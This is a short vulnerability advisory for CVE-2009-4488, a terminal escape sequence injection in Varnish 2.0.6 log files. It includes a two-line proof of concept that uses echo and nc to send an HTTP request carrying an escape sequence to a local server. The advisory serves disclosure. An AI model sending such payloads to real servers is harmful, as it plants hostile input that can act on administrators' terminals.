Varnish Terminal Escape Sequence in Logs Command Injection Vulnerability

Bugtraq ID:	37713
Class:	Input Validation Error
CVE:	CVE-2009-4488
Remote:	Yes
Local:	No
Published:	Jan 11 2010 12:00AM
Updated:	Jan 11 2010 12:00AM
Credit:	Giovanni 'evilaliv3' Pellerano, Alessandro 'jekil' Tanasi, and Francesco 'ascii' Ongaro
Vulnerable:	Varnish Varnish 2.0.6
Not Vulnerable:

Varnish Terminal Escape Sequence in Logs Command Injection Vulnerability

Varnish is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Varnish 2.0.6 is vulnerable; other versions may also be affected.

Varnish Terminal Escape Sequence in Logs Command Injection Vulnerability

Attackers can exploit this issue with readily available tools.

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload

Varnish Terminal Escape Sequence in Logs Command Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Varnish Terminal Escape Sequence in Logs Command Injection Vulnerability

References:

• Varnish Project page (Varnish)
  
• Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws a (ascii )